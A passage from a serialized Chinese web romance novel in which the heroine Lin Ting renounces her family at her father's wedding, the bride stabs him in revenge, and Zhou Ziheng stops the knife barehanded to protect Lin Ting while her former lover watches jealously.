目光一直落在林听身上,道: “林叔和林振宇已经知道林薇薇的身份了。” “我查出来,当年你和林叔的亲子鉴定报告,是林薇薇和苏秀珍母女俩做的手脚。” “你才是林家真正的千金大小姐。” “听听,这么多年来,让你受委屈了。” 这件事情,早在林薇薇代替林听的时候,他就该帮林听查清的。 那个时候他太失职了。 根本不配当林听的男朋友。 “听听,你可以正大光明的回林家了。” 他面容沉静,掷地有声。 终于为林听做了一件有意义的事情。 可他依旧歉疚于林听。 “听听,你回林家后,我们一家三口好好生活三起。” “让我弥补你们母女俩。” 他说的是肯定的陈述句。 不是问句。 不是征求。 那意思是指,弥补她们母女俩,他势在必行。 这对林听来说,只是一个笑话。 天大的笑话! 她被气不活了。 这男人倒是一如既往的自负。 看起来人模人样,一表人才。 甚至,他今天还穿了他二十六岁那一年,她送给他的西装。 不得不说,这套暗紫色的西装,被他保存得很好。 崭新如故。 一如他二十六岁那一年,他换上这套西装时,一模一样。 连他的发型,也与六年前完美重合。 整个金碧辉煌的酒店大厅,已经足够光鲜亮丽了。 立于流光下的江遇,在张扬帅气与沉稳持重间游刃有余。 仿佛整个酒店的光彩,都要被他身上的气息给掩盖。 可此时此刻的林听,并不像是六年前一样,那样满眼欣赏爱慕地看着江遇。 她停在江遇身上的目光,甚至短暂到让江遇几乎感受不到。 捕捉到这一点,江遇表面的沉稳持重,快要被痛苦淹没。 他得听听,再也不愿多看他一眼呢! 连他穿了她最喜欢的一套西装,她都没看他一眼。 他说的那些话,林听一句也没有回应。 她只是侧眸,看向身侧的周自衡。 眼里露出笑意来。 “周自衡,你有没有发现,某些人穿紫色的西装,好浮夸,难看死了?” 周自衡:这女人,故意刺激江遇? 林听打量着周自衡身上这套深色的西装,不由赞不绝口: “周自衡,还是你好看。” “你身上这套西装就很得体。” “不过你长得冷峻帅气,身上那股铁血刚毅味,太有男人气概了。” “你肯定穿什么都很好看。” 她说的是实话。 江遇那款,看起来风华绝代,在张扬帅气与沉稳持重间游刃有余的男人,她已经不喜欢了。 怎么看,都是看不顺眼的。 还是周自衡好看! 他站在她的身侧,长身顶立,铁血硬朗。 仅仅是作为她的朋友,已经给足了她满满的安全感。 直觉告诉她,这个男人说了要有恩报恩把她当朋友,他一辈子都不会背叛他们之间的友情。 不管别人怎么诬陷与离间。 他们之间的革命友情,一定不会出现裂痕。 有周自衡陪在身侧,见到江遇,好像胸口也没那么堵了。 她微笑道,“周自衡,走吧,我们去办正事。办完正事,你还要陪我去吃日料呢!” 直到走远几十米远,周自衡才沉声道,“林听,男人不是随便能夸的。” 夸了是要负责任的! 林听踩着高跟鞋,边走边说: “我没有随便夸你啊,我说的是真的。” “你确实是穿什么都很有男人味,很帅气。” “你是不知道你在名媛圈子里,是出了名的鹏城第一美男吗?” 从她还是林家千金混迹名媛圈时,听到关于他的溢美之词,那是数不胜数。 但凡哪家有个宴会。 名媛圈子们聚在一起,肯定是在讨论周自衡。 就算他只是周家的私生子,那个时候还不是周家家主,对周自衡抱有幻想的名媛,依然如同过江之鲫。 还有不少名媛说。 要是能和周自衡睡上一觉,让她少活十年她都愿意。 当然,这不是林听的想法。 那个时候,她满眼都是江遇。 这才忽略了,其实周自衡确实是在气场和颜值上,远超于江遇。 更远超的,是周自衡的人品。 迈步的时候,高跟鞋不小心踩到了裙摆。 “小心!” 摔倒之前,周自衡结实的臂膀及时扶住了林听。 林听猝不及防,摔进周自衡的怀里。 男人淡淡的森林草本香气,钻入鼻尖。 身娇体软的林听,几乎完全被他结实有力的臂膀环绕。 巴掌大的脸蛋,撞在他的怀里。 嘭!嘭!嘭! 这个男人的心跳声,竟然可以如此磅礴有力。 隔着一层西装外套,又隔着里面的黑色衬衣。 除了能够清晰地感受到,周自衡的磅礴有力的心跳声。 还能感受到,他健硕劲瘦的胸膛肌里。 男人磅礴的力量,在他的从容间,被林听感知得清晰无比。 饶是她与周自衡是二十余年的老朋友了,此刻还是有些乱了方寸。 脑袋卡壳似的。 只有一个声音:怎么这么笨,走个路还能摔别人怀里。 赶紧站起来。 起身才发现,高跟鞋的鞋跟不知怎么的,断了。 好歹是她花了一千多块钱买的新鞋。 质量不至于这么差吧。 嘶……动一下,脚踝可疼了。 为了缓解尴尬,她强忍着直起腰。 糗到家的是,耳畔边坠着的长长耳坠,不知何时,钩住了周自衡的西装纽扣。 两人严丝合缝,紧贴在一起。 林听纵使是想抽离开来,依然束手无策。 再一使力,耳朵疼不说,又将周自衡的西装勾出丝线。 “周自衡,实在不好意思。” “我来,别急。你再强行拉拽,耳垂该出血了。” …… 江遇和林振宇,都被甩在了身后。 等他们追上周自衡和林听时,看见二人紧紧抱在一起。 江遇的这个角度望过去。 低头的周自衡,似乎是在亲吻林听。 一股翻江倒海的醋意,让他整个英俊的脸色,刷一下阴沉下来。 他朝林听周自衡二人,大步走过去。 …… 闪闪发光的水晶灯下,林听的耳坠终于被周自衡取下来。 “耳朵没事吧?” 林听摇了摇头。 耳朵倒是没事,就是挺尴尬的。 “走吧,办正事。” 脚踝的疼痛,让她走起路来,有些瘸。 细心的周自衡,自然发现了她的异常,“脚受伤了?我扶你到旁边坐着看看。” 林听每一走一步,脚踝每每传来一种撕裂般的疼痛。 崴了脚,可不是小事。 借助着周自衡的臂力,她这才走到旁边的沙发上坐下来。 周自衡蹲下来,“脚踝肿了,我先帮你把鞋子脱下来。” “我来。”这个时候,一个男人的声音在周自衡身后响起,随即蹲在林听的面前,温柔地捧起林听的脚踝。 那只捧起林听脚踝的手,被周自衡紧紧捏住,“她不需要你。” 第107章 断亲绝义 酒店大厅的沙发上。 林听忍痛坐在那里。 长长的香槟色的鎏金裙摆处,露出一双白皙的脚踝。 其中一只,明显肿起来。 已经一片青紫色。 江遇捧着这只青紫色的脚踝,小心翼翼地放在自己的膝盖上。 手却被周自衡紧紧地钳制着。 以至于他想要进一步的动作,都被制止了。 两个男人僵持着。 谁也不松手。 似乎是一场无声的较量。 江遇心疼地看了一眼林听的伤处,又警告地看向周自衡。 “她需要立即敷冰!” “江遇,你松手。”林听厌烦地喝斥了一声。 江遇用坚持来回应她,丝毫不松手。 “小听,以前你崴了脚,都是我给你冰敷一会儿就好了。” “我知道轻重,不会弄疼你。” 现在知道不会弄疼她了? 早干嘛去了? 送她进监狱的时候,她在监狱里艰难生产的时候,她求着他照顾柚子,求着他给她一盒药的时候,他一声声骂着她不知廉耻的时候。 可管过她,会不会疼? 过去的事情她不想再提了。 谁让她蠢? 谁让她笨? 既然又蠢又笨,就该为自己的行为买单。 她认了。 现在,她一个多余的字,也不愿意对江遇说。 她很不耐烦地吼了一句,“滚!” 还没反应过来,腰间有一道结实有力的臂力,将她整个人轻轻托起。 反应过来时,她已经来到了周自衡的怀抱里。 她被他整个人,轻而易举地抱了起来。 “周自衡,你干什么?” 周自衡抱着她大步离开,“……” “放我下来,那么多人看着呢。”林听怪不好意思的。 她还从未被人如此围观过。 周自衡倒是大大方方,“不是想让江遇不好过?” 他如此抱着她离开,醋王江遇的心里,一定翻江倒海。 林听又怎能听不懂周自衡的话外音。 所以,他只是为了帮她教训江遇,让江遇不好受,才把她抱在怀里? 呃……看来,她刚才真是想多了。 …… 江书臣和夏静姝,闻讯找来酒店大厅时,已不见林听的身影了。 自从林听活着的消息传开后,他们夫妇二人,还未见过林听。 此时此刻,夏静姝迫切地想要见到林听。 她想好好跟她说声对不起。 当她知道一切真相的时候,林听已经病危了。 对于之前的侮辱、误会,以及打骂,夏静姝有着深深的歉疚。 恨不得把自己的心掏出来,向林听赎罪。 她问江遇,“不是说小听来了吗,小听在哪里?” 江遇不答:“……” 他的指尖,仿佛还留着林听脚踝处的温度。 她像是一个这么近又那么远的,无法触碰的影子。 怎么抓都抓不住。 见他不回答,夏静姝又问林振宇,“振宇,你妹妹呢,她真的来了吗?” 林振宇失魂落魄,“小听在怪我,她在怪我……” 夏静姝哼了一声,“难道不应该怪吗?我们这里的每个人,都有罪。” 幸好,小听还活着! 这是夏静姝心中的欣慰。 他又对江书臣说,“书臣,如果小听不原谅我,我也认了。都怪我当时对她太无情了。” 她们俩从小长到大,亲如姐妹。 她怎么能轻易相信那些流言蜚语,“以后,非亲眼所见,我都不会再相信了。” 江书臣:“知道得太晚了。” 夏静姝真心悔过,“我错了嘛,我现在就想看一眼小听,远远地看一眼也行,小听到底在哪里?” 只要她好好活着,夏静姝就心满意足了。 说起来,夏静姝满眼泪水。 江书臣温柔地帮她拭了拭,“放心,一会儿能看到小听的。” 旁边的江嘉树,昂着脑袋,看着爸爸妈妈,满眼期待,“爸爸,妈妈,那我今天能见到柚子妹妹吗?” 江书臣抚了抚儿子的脑袋,“爸爸也不知道,兴许小听阿姨没有带柚子妹妹来。” 今天这样的场面,林听明显是来砸场子的。 不可能带上柚子吧。 见不到柚子妹妹,江嘉树耷拉着脑袋。 他有些想念柚子妹妹了。 也不知道这几个月,柚子妹妹过得好不好。 想到柚子妹妹的遭遇,江嘉树一脸闷闷不乐。 …… 林建国的婚礼现场。 到处都是鲜花。 就因为苏秀珍喜欢茉莉花。 整个婚礼现场布满了茉莉花的拱门。 一阵阵茉莉花的清香中,却是林建国的自嘲笑声。 有好友上前低声询问,“老林,都十二点了,婚礼怎么还没开始。” 林建国用自嘲声,回应着,“今天不办婚礼。” “老林,你在糊说什么,你没事吧?” 今天确实是他与苏秀珍结婚的日子。 他没取消婚礼,是准备让在场的所有宾客,来见证他对他宝贝女儿林听的忏悔之意。 “老林,怎么一直没见到新娘子?” 说曹操,曹操到。 这时,穿着婚纱的苏秀珍,提着裙摆,穿过一道道拱门,来到林建国的身边。 不等苏秀珍开口,林建国阴沉着脸,喝斥道,“不是让你把婚纱脱下来?” 苏秀珍还妄想着,周自衡已经帮忙,让亲子鉴定有回旋余地。 她满眼委屈,“老林,你不是让我准时到吗?” 她哭得越来越汹涌,“你还是不相信我,是不是?我苏秀珍对天发誓,我从来没有欺骗过你。你要是不要我了,你直说,我现在就走。” 旁边的林薇薇,也十分笃定周自衡肯定已经搞定了那件事情。 她也跟着苏秀珍哭起来,“爸爸,我和妈妈可以走,但是你不能这样冤枉我和妈妈。” 两母女的眼泪,林建国已麻木了。 以前他是蠢到什么地步? 看到她们流泪,他能心甘情愿到为她们摘下天上星辰的地步。 当真是蠢的无可救药! 林建国真想抽这母女脸大耳光子。 他握紧拳头,满眼怒意,“你们俩哪也不能去。” 婚礼现场的司仪走过来,“林总,吉时已经到了,可以开始了吗?” 女儿小听还没有出现。 还不能开始。 “再等等,把话筒给我,一会儿我来开场。” …… 长长的红毯远处。 长身顶立的周自衡,挽着林听,缓步走来。 林听的脚踝已经冰敷了一小会儿。 这会儿走路没那么疼,却依然不敢太用力。 她只能一瘸一拐往前。 周自衡小心翼翼地挽着她,“还疼不疼?” “没事。”她坚持往前走。 目光越过那些或诧异,或惊奇,或看热闹的宾客,锁定在了林建国的身上。 也是在同一时间,林建国看到了一瘸一拐的林听。 “小听,你没事吧?” 说话间,林建国已大步来到了林听的面前,“小听,你的脚怎么了,让爸爸看看。” 话音还未落,林建国已经蹲了下来。 林听冷冷地俯视着蹲下去的林建国。 儿时那个,疼她宠疼,舍不得她受一点点伤的林建国,仿佛又回来了。 看来江遇说得没错。 他已经向林建国证明了,林薇薇不是他的亲生女儿。 可是她不需要江遇的证明。 她今天是有备而来的。 “小听,怎么伤得这么严重,快坐下来。” 苍劲颤抖的手掌,就要碰到林听受伤的脚踝。 林听忍痛往后一退,“你别碰到我。” 冷漠的声音,让林建国缓缓起身,“小听,爸爸不是来举行婚礼的,爸爸今天是想当着鹏城半数豪门的面,真诚向你忏悔,爸爸错了。” 他的忏悔,林听一点也不稀罕。 就算他知道了真相,也没什么好高兴的。 按照原计划,她拿出了一个U盘,“今天我是来送礼的。” 洛高在这个时候,从宾客席中,走上来。 拿着那块U盘,将里面的内容,播放在了大屏幕上。 其实,林建国已经猜到了视频内容。 但他没有阻止。 他任由那段视频被曝光。 大荧幕上出现了林薇薇的画面。 “你们真的能够保证,我林家假千金的身份,不被暴露?” “我承认,是我陷害您和林听偷窃林江医药的研发机密。” 这段视频,让在场的宾客万分震惊。 一个个的开始窃窃私语。 “啊,原来这个林薇薇不是林建国亲生的?” “这林家的人怎么这么蠢,任由自己的亲生女儿去坐牢,却把贼人养在身边?” “这样说来,林听真的太可怜了。” 林听从司仪手上,夺过了话筒,望向众人,掷地有声。 “借着今天这个机会,我要澄清一个事实。” “我母亲唐婉华,当年怀着我的时候,林建国已经和苏秀珍鬼混在了一起。” “是林建国出轨在先。” “我母亲唐婉华,始终没有做过任何对不起林家,对不起林建国的事情。” “并且,母亲是为了替林建国生孩子,难产而死的。” “她不是坏女人,她是这个世界上最好的女人,最好的妻子,最好的妈妈。” 一个女人,明明不能再怀二胎。 可是丈夫喜欢女儿,她硬是冒着生命危险,真的又替他生了一个女儿。 却要被污蔑成出轨的贱人。 妈妈唐婉华,真的死得太不值得的。 如果能够让妈妈活着,林听宁愿自己从来没有来过这个世上。 她好想念妈妈。 妈妈离开的时候,一定对她牵肠挂肚。 妈妈那么信任地把她交给了林振国,交给了林振宇。 这两个男人,却辜负了妈妈的信任。 林听忍不住泪流满面。 “身体发肤,受之父母。” “我身上流着林建国的血,血缘关系割不断。” “但今日当着众位的面,我宣布,我与林家恩断义绝,从此再无瓜葛。” 说完,她剪掉自己的一撮头发,丢在林建国的面前。 林建国早已是老泪纵横。 他赶紧捧起那撮被林听剪断的发,小心翼翼地握在掌心里,“小听,你不能对爸爸这么残忍。难道你忘了,爸爸以前是多么的疼你?” 第108章 周自衡,你不要命了? 那撮被林听剪下来的短发,林建国小心翼翼的捧在手心里。 他舍不得小听的发,落在地上。 甚至弯下腰,拾起红地毯上没有被他接住的几缕碎发来。 再次起身时,布着红血丝的双眼早已老泪纵横。 泪水朦胧中,是他对林听满眼的宠爱以及深深的愧疚。 “小听,你还记不记得?” “你小的时候,有一次理发师给你剪头发,不小心划伤了你的脸?” “从那以后,爸爸就再也不让外面的人,给你剪头发了。” “为了给你剪出漂亮的刘海,爸爸去外面学了一个月的理发。” “之后学校每一次让剪头发,都是爸爸亲自给你剪的。” “爸爸舍不得让你受一点点的伤。” “每一次爸爸都会把你剪下来的头发,小心翼翼地装进锦袋里,小心翼翼地珍藏着。” “小听,这些你还记得吗?” 林听怎么可能不记得。 林薇薇正大光明代替她之前,林建国有多疼她,又有多宠她。 可她怎么也想不明白,这么疼她宠她的林建国,为什么要被苏秀珍和林薇薇母女俩蒙蔽双眼。 林建国落着泪,又道: “小听,难道你也忘了,你爷爷奶奶重男轻女,嫌弃你是女孩,几次想把你送走。” “爸爸为了护着你,和他们吵翻了,甚至断绝了来往。” “家族里的人,都因为这件事情,骂爸爸大逆不道。” “爸爸为了护着你,连自己的亲生父母都不要了啊。” “你怎么可以对我这么残忍,说不认爸爸,就不认了?” “难道你剪断了这些头发,就能割断我们之间的血缘亲情吗?” “你始终是我的女儿,你身上始终流着我的血。” 林建国悲切的哭声中,一道铁血刚毅的声音,掷地有声: “她身上流着你的血,你却要把她送进监狱?” “她身上流着你的血,你却要口口声声说她生了个野种?” “她身上流着你的血,你却要眼睁睁见着她日渐消瘦,病入膏肓,却不肯给一盒救命药?” “这就是你所谓的疼她,宠她?” 这个声音,来自于周自衡。 他把林听冰凉的手,握在掌心里。 看着又立又当的林建国,向来只有麻木与冰冷的周自衡,满眼怒意难消。 这林家的所作所为,令人发指。 连着好几个发问,让林建国哑口无言。 来参加婚礼的宾客,也在这个时候窃窃私语。 “这林听不认林建国,也是应该的。” “换作我,我也不认。” “对自己的亲生女儿如此残忍,老了没人送终都活该!” 众人窃窃私语中,林建国哑口无言。 他可不就是活该的。 他对小听做的那些事情,他不敢回想。 啪,啪,啪啪怕! 明亮的水晶灯下,响起林建国扇自己耳光的声音。 巴掌声将窃窃私语声打断。 众人摇头无语。 自作孽,不可活! 周自衡见林听身体发冷。 他赶紧揽着她,“唐阿姨的清白已经澄清了,我先送你回去。” 林听拽住周自衡的西装袖口,“等一下。” 她还有几句话,要对林建国说。 望向林建国,又道: “你口口声声说你爱着妈妈。” “表面上为了妈妈三十年不续弦。” “实际上你不知道和苏秀珍睡了多少回了吧?” “到头来,林薇薇却不是你的亲生女儿。” “林建国,这简直就是个天大的笑话。” “你这样的人,根本不配再见到我妈妈。” “我妈也不想再见到你,希望你不要再去她坟前打扰她。” 说完,周自衡扶着林听欲走。 林振宇拦住了二人的去路。 “小听,你怎么骂我,责怪我,惩罚我,都可以。” “可是你能不能别这样对爸。” “爸他一把岁数了,经不起这样的折腾啊。” 最可恨的,就是林振宇。 男人死了妻子,另外找别的女人,说得过去。 可是林振宇也是妈妈唐婉华的亲生儿子。 林振宇这个猪狗不如的东西,竟然支持苏秀珍嫁给林建国。 今天这场风风光光的婚礼现场,全是林振宇用心布置的。 林听胸口,恨意难消。 “林振宇,我不允许你再去妈妈坟前祭拜。你根本没资格再见她。” 至此,林振宇才明白,自己是多么的浑蛋。 自己的亲生母亲不信任。 却要帮着一个心机老女人。 一步一步把自己的亲妹妹赶出林家。 一步一步蚕食林家。 林振宇知道,自己简直不是人! 所有人的注意力和关注点,都在被周自衡扶着的林听身上。 没有人注意到,角落处失魂落魄,狼狈不堪的林薇薇和苏秀珍母女俩。 林薇薇终于反应过来。 她去周家寻求帮助,没有见到周六少。 周自衡主动出面,说是要与她合作。 实际上,是给她挖了一个坑。 到此,林薇薇才反应过来。 她给周六少的M901抗癌药,其实早就到了周自衡的手里。 这药,被周自衡拿给了林听。 所以林听现在才能活着。 她被周自衡耍得团团转。 她紧紧地握着苏秀珍的手,“妈妈,现在我们怎么办?” 苏秀珍并未回应林薇薇的话。 她眼里有凶光,她嘴里反复念道,“他们该死,都该死……” 当年,一起意外车祸中。 林建国开车撞死了苏秀珍的大儿子。 林建国花了钱,买通关系,逃过法律的制裁。 连车祸现场的监控也被处理了。 苏秀珍和丈夫费了好大的力气才得知,肇事司机是林建国。 这个男人道貌岸然。 表面是良心的企业家,实则卑鄙无耻。 为了毁灭证据,他找人把大儿子的尸体处理了。 到现在,苏秀珍都无法为大儿子立一座坟。 这些年,她想为大儿子烧点纸钱,想去祭拜儿子,连个地儿都没有。 她仇恨林建国。 可是林建国家里有钱有权。 她这种普通人连指控他,都拿不出半点证据来。 苏秀珍在唐婉华怀上林听的那一年,故意接近了林建国。 就有了后面的故事。 苏秀珍是想让林建国家破人亡。 让林建国付出代价的。 可是现在,他们马上就要一家团聚了。 不应该是这样的。 他们都应该去死。 忽然,一把凶光闪闪的刀,从苏秀珍的裙底掏出来。 刀子直接捅进林建国的后腰。 抽出来时,血淋淋的。 林建国完全没有反应过来,“秀珍,你……” 所有人的注意力,都落在随周自衡一起离开的林听身上。 没有人注意到,缓缓倒地的林建国。 更没有注意到苏秀珍已经拿着这把鲜血淋淋的刀子,风一样的速度,逼近了一瘸一拐离开的林听。 林建国忍着巨痛,一声呐喊,“小听,小心!” 血淋淋的刀子,说时迟,那时快,刺破林听香槟色的鎏金长裙。 就要刺进林听后腰窝。 一只大掌,及时抓住了尖刃的刀锋。 “我杀了你。” 苏秀珍疯狂地吼了一声。 林建国撞死了她的大儿子,证据被毁,他至今逍遥法外。 她潜伏在他身边,大仇不得报。 她便要杀死他最心爱的宝贝女儿--林听。 这一声怒吼,让林听反应过来。 转身回头时,一把血淋淋的刀子直逼眼前。 周自衡握住那把当。 双刃的刀锋,割破了他的手掌。 血鲜顿时滴落在地上。 林听甚至还没反应过来,到底是怎么回事。 林振宇扑向了倒在血泊里的林建国,“爸,爸,你怎么样?” 林建国强撑着,“我没事,快去看看你妹妹。” 林振宇望了一眼,周自衡和林听那边也是鲜血淋淋。 可林建国这边,看样子伤得也不轻,他不知道该顾哪一头好了。 场面一度混乱中,江遇和江书臣夏静姝,赶紧上前护着林听。 夏静姝把林听周身上下打量了个遍,“小听,你没事吧。” 江遇拉着林听的手,“听听,这里太危险了,我带你离开这里。” “你让开。”林听一把甩开江遇。 万分焦急中,她一瘸一拐来到周自衡的面前。 苏秀珍手中的刀,明明是要捅向她的。 她能感受到后腰窝的刺痛感。 那刀子就要刺进肌里时,被周自衡徒手拦住了。 刀子这般锋利。 并且是双刃的尖刀。 情况危急时,周自衡竟然赤手空拳握上去。 不疼吗? 鲜血从他青筋隐现的掌心里,不断淌落下来。 一滴一滴地落在红地毯上。 很快,地毯被浸出一大片暗色。 林听光是看着,就怪疼的。 谁来拦着她,她便推开谁。 也不知哪来的力气,看也不看来拦电的人是谁,己将拽着她手臂的江遇甩开了一两米远。 “让开。” 她快速来到周自衡面前,“周自衡,你松手啊,保安呢,保安在哪里?” 保安的反应速度,哪有周自衡快。 双刃的刀子,被周自衡徒手夺走。 一个拉肘提膝。 咔嚓一声。 周自衡掰断苏秀珍的手腕之时,又一脚踹在苏秀珍的肚子上。 人被踹远好几米,那把差些伤到林听的刀子,仍旧被周自衡紧紧握在掌心里。 “周自衡,你没事吧?” 林听握住周自衡的手臂。 刀刃已经刺进了他的肌里。 血肉清晰可见。 林听甚至不敢去动那刀子。 她心里好慌,“周自衡,你流了好多血。” 确认苏秀珍被赶来的安保人员制服后,周自衡这才放松警惕。 手上的伤,他丝毫没在意。 他把刀子拽在手里。 又把林听上下打量了一遍,“林听,你有没有事,给我看看。” 拽着她,在他面前转了一圈。 确认她的后腰窝,只是衣服被刺破了,并没有见血。 他紧崩的额角,这才松快下来。 可是他不敢掉以轻心。 林听冰冷的手被他紧紧拽着。 他耳听八方,眼观六路,“走,我先带你回去。” “不行,周自衡,你流血了,流了好多好多的血。” 鲜血不仅浸湿了红地毯。 也湿透了他深色的西裤。 又滴在他铮亮的黑色皮鞋上。 “周自衡,你先把刀子松开,我给你止血。” “我没事。”周自衡说得风轻云淡,“这里不安全,我先带你离开。” 这点伤对周自衡来说,根本不算什么。 他小心翼翼护着林听准备离开。 林听的腿脚像是在地毯上生了根似的,一步不挪。 “不行,你流了好多血,再不止血,血就流干了。” 她连自己生孩子的时候,也没有见过这么多的血。 犟脾气的她,蹲下来,咬开裙摆一角。 斯拉一声,撕碎长裙。 一条香槟色的长长裙摆,被她撕下来。 再看周自衡,那把双刃的刀子,依然握在他的掌心里。 忽然鼻子一酸。 还没有谁,愿意不顾自己的生死,替她这般挡刀子。 那些曾经说过要护她一辈子,要用命来保护她的人,到头来却抵不过一个周自衡。 “周自衡,你简直就是个大傻帽,你不要命了吗?” 林听嘴上训斥着,却心疼哭了。 第109章 周自衡对林听的心思 那把刺进周自衡血肉里的刀子,林听一动不敢动。 生怕动一下,他的伤口更深。 “手能动吗?” 林听抬着周自衡的手臂。 周自衡轻轻笑了笑,“我都说了没事。” 伤成这样,还能笑得出来。 林听怪心疼的。 她举起他的手,试图把刀子拿出来。 眨眼间,周自衡眉头也未皱一下,从血肉模糊的掌心,拔了刀,递向身侧的洛高。 “拿着,作为凶器,起诉苏秀珍。” 他说的轻松自然。 仿佛丝毫不曾受伤。 他的目光,只落在林听身上。 见林听红着眼眶,就要哭出来。 另一只没有受伤的大掌,落在她的脑袋上,轻轻揉了揉。 “吓着你了吧?” “没事了。” 大掌里的温度,是林听从未感受过的温暖。 这些年她过的日子太苦了。 监狱里也好,减刑提前出狱也好,还是后来带着柚子回鹏城的日子也好。 从来都是风雨飘摇的。 她不知道吹了多少风,淋了多少雨。 太久没有感受过,被人这般呵护的温暖感了。 眼泪再也忍不住,夺眶而出。 周自衡屈起手指,拭过她脸颊的泪痕。 他满手都是厚茧。 从小到大,他在周家干了许多粗活。 **的那段日子,也是在外面风餐露宿。 他的手起满了茧子。 他怕厚厚的茧子弄疼林听。 林听这张脸蛋,肌肤细腻,吹弹可破。 弄疼了,他会心疼的。 他的动作,很轻,很轻,“没事了,不哭。” “别动,我给你简单包扎一下。”林听抓起他流血的那只手。 长长的裙摆碎条,被她快速缠在周自衡的掌心里。 “很疼吧?” 说实话,疼。 那是双刃的刀子,他这么徒手握住。 鲜血淋淋的,不疼才怪。 但周自衡的唇角,却扬起了微笑的弧度。 “不疼!” 饶是旁边的江书臣 和夏静姝看了也难免会怀疑周自衡。 他对林听别有用心? 夏静姝拽了拽江书臣的胳膊。 “书臣我怎么没有发现周自衡对林听竟然还有这样的心思。” 这个男人为了林听差点连命都不要了。 这是早就喜欢上林听了吧? 夏静姝不由感慨“周自衡藏得可是真深!” 旁边一双阴沉的目光落在林听和周自衡身上。 江遇的脸色阴沉得可怕。 一双拳头紧紧握着。 他的额角脖颈拳背浮出一根一根青筋。 既是痛楚又是醋意。 他又怎么看不出来周自衡对林听的心思。 果然是藏得好深! 原来这个男人真的对林听有意思。 见江遇脸色可怕夏静姝还要说什么 “少说两句。” 夏静姝看了看朝周自衡和林听二人走近的江遇。 连他的背影都透着醋意。 夏静姝爽快地骂了一句“江遇活该的。” 走近周自衡和林听江遇停下来。 刚刚有惊无险。 江遇到现在还一阵后怕。 如果他靠得近他也会为了林听徒手握住那把刀子。 只怪他当时站得远。 幸好他的听听没有受伤。 周自衡受了伤他上前半步从林听的手里夺过未缠完的碎布。 “我来。” 看着周自衡他满眼阴冷“有没有大碍?” 表面上江遇看似是在关心他昔日的好兄弟——周自衡。 实则他是不想让林听和周自衡二人靠得如此之近。 从始自终林听都只是他江遇一个人的女人。 他不管周自衡对林听有着怎样深的心思。 想要从他身边抢走林听? 门都没有。 “不用你帮忙。” 林听推开江遇重新帮周自衡缠紧碎布。 周自衡自然明白刚刚江遇的用意何在。 这会儿他淡淡地看了江遇一眼。 目光明明很平静却带着某种宣战之 意。 两个男人四目相对。 江意的醋意,愤怒。 周自衡的志在必得。 无声之中,针尖对麦芒。 而此时此刻,林听仍旧在小心翼翼地替周自衡包扎。 看到这一幕,江遇的心都要碎掉了。 从前,她只会和他有这般亲密的接触。 江遇全身紧绷着。 愤怒痛苦又醋意满满的情绪,在他那爆起的额角青筋处,一览无余。 眼见着林听那条碎布,在周自衡的掌心里,打了一个漂亮的蝴蝶结。 那个蝴蝶结,曾经只为他一个人而结。 江遇想起那一年林建国五十大寿,他陪林听去景德镇学习制窑。 在那个小镇的乡村路上,一只流浪狗冲出来。 为了护住林听,他被狗咬了。 他流了好多的血。 林听撕下自己的裙子,哭着给他包扎。 那个时候林听说过的,这辈子她只嫁他一个男人,她要永远留在他的身边,好好珍惜他。 现在留在她身边的男人,却是周自衡。 而毁掉曾经所有美好和幸福的人,不是别人,是他自己。 是他自己,把曾经那个满心满眼都只有他的听听,给弄丢了。 呵!真是活该啊! 林听替周自衡系好了布条,却依旧不放心。 虽然止住了血,可是伤口很深,必须去医院打破伤风。 还要做一系列的消毒包扎。 甚至很有可能还要缝针。 “周自衡,我们得赶紧去医院。” 这时,周自衡才从江遇身上抽开目光。 刚刚,江遇的隐忍、痛苦、酸楚、自嘲,他所有复杂如山洪暴发的情绪,周自衡尽收眼底。 他岿然不动地目视着。 又大大方方地扶着林听离开。 看着两人离开。 江遇突然感觉到了危机感。 林听这般恨他。 又杀出一个别有用心的周自衡。 胸口的窒息感一阵又一阵。 汹涌如潮,让人窒息。 “小听!”林建国追上来。 扶着他时,林振宇染了一手鲜血,“爸 咱们先去医院吧。” 林建国坚持朝林听追去“不让我跟你妹妹再说两句话。” 明明痛得要死林建国还是几大步追上了林听。 这个时候林薇薇也凑到林建国的跟前来。 刚刚苏秀珍冲出来捅了林建国一刀林薇薇根本意料不到。 她担忧地看着林建国“爸你流了好多血我和哥哥先送你去医院吧。” 林建国厌烦地挥开林薇薇“你让开别在这里假惺惺的。” 这一声怒吼让林薇薇不敢再上前。 可是她是真的担忧林建国啊。 从她有记忆开始苏秀珍就告诉她 说更新,记住域名caixs?(请来才小 说 看最新章节 完整章节)要把林建国当成是自己的爸爸。 虽然知道她不是林建国亲生的。 可是林建国给了她许多的父爱。 她早就把自己当成是真正的林家千金了。 她对林建国的关心也是真的。 此刻看着林建国流着鲜血她真担忧林建国的安危。 林建国不顾身上的伤绕到前面拦住了林听。 林听见着林建国的身后滴了一路的鲜血。 恐怕是伤得不轻。 如果是以前她肯定会惊慌失措肯定会被吓到肯定会赶紧送林建国去医院。 此刻林听却是不疾不徐冷冷淡淡道“我和林总无话可说。” 林建国流了太多的血。 又没有及时止血。 此刻满头布着冷汗。 脸色一片煞白。 他说话时喘着气。 似乎下一句话就要断气似的。 “小听爸爸知道错了。” “爸爸真的……知道错了。” “家里的大门永远为你敞开着。” “你要是愿意……” 说到这里林建国唇齿颤抖。 “你要是愿意回来爸爸永远等着。” “你要是不愿意回来爸爸也永远……” 最后那——等着两个字林建国还没说完人已经晕倒在了林振宇的身前。 “爸爸……” “林叔叫救护车。” “爸爸……” 围上去的人有 林振宇、江遇、江书臣、夏静姝、林薇薇。 还有林家的管家曹叔。 以及林建国的多年好友,安保人员。 可是,唯独没有林听。 当林建国被送上救护车之后,江遇和林振宇再去寻林听的身影时,已经空无一人。 周自衡和林听离开了。 苏秀珍也被控制住了。 这场原本属于林建国和苏秀珍的婚礼,最终以闹剧收场。 宾客尽数散去。 林家成了整个上流圈子里的笑话。 看着空荡荡的婚礼现场,江遇的心也是空荡荡的。 …… 轻舟路。 一辆酒红色的红旗国耀眼,停在某便利店的门口。 周自衡下了车。 林听不明白他要干什么,不是说要去就近的医院,包扎他的伤口吗? 周自衡回来时,手里拿着一块冰棍。 这块冰棍被周自衡包裹在他的手帕里。 没等林听反应过来,她崴到的那只脚,已被周自衡握起来,放在了他的腿上。 “刚刚在酒店,冰敷时间不够。” “可能有点凉,忍一忍。” 林听想抽回右脚,她挣扎着,“不行,周自衡,你得先去医院包扎。” “如果不想几天都下不了地,呆着别动。” 周自衡的语气,不容商榷。 那只白皙光滑的脚踝,被他整个掌心,小心翼翼地托起。 听说看这本书的人都是很幸运的,分享后你的运气会更棒 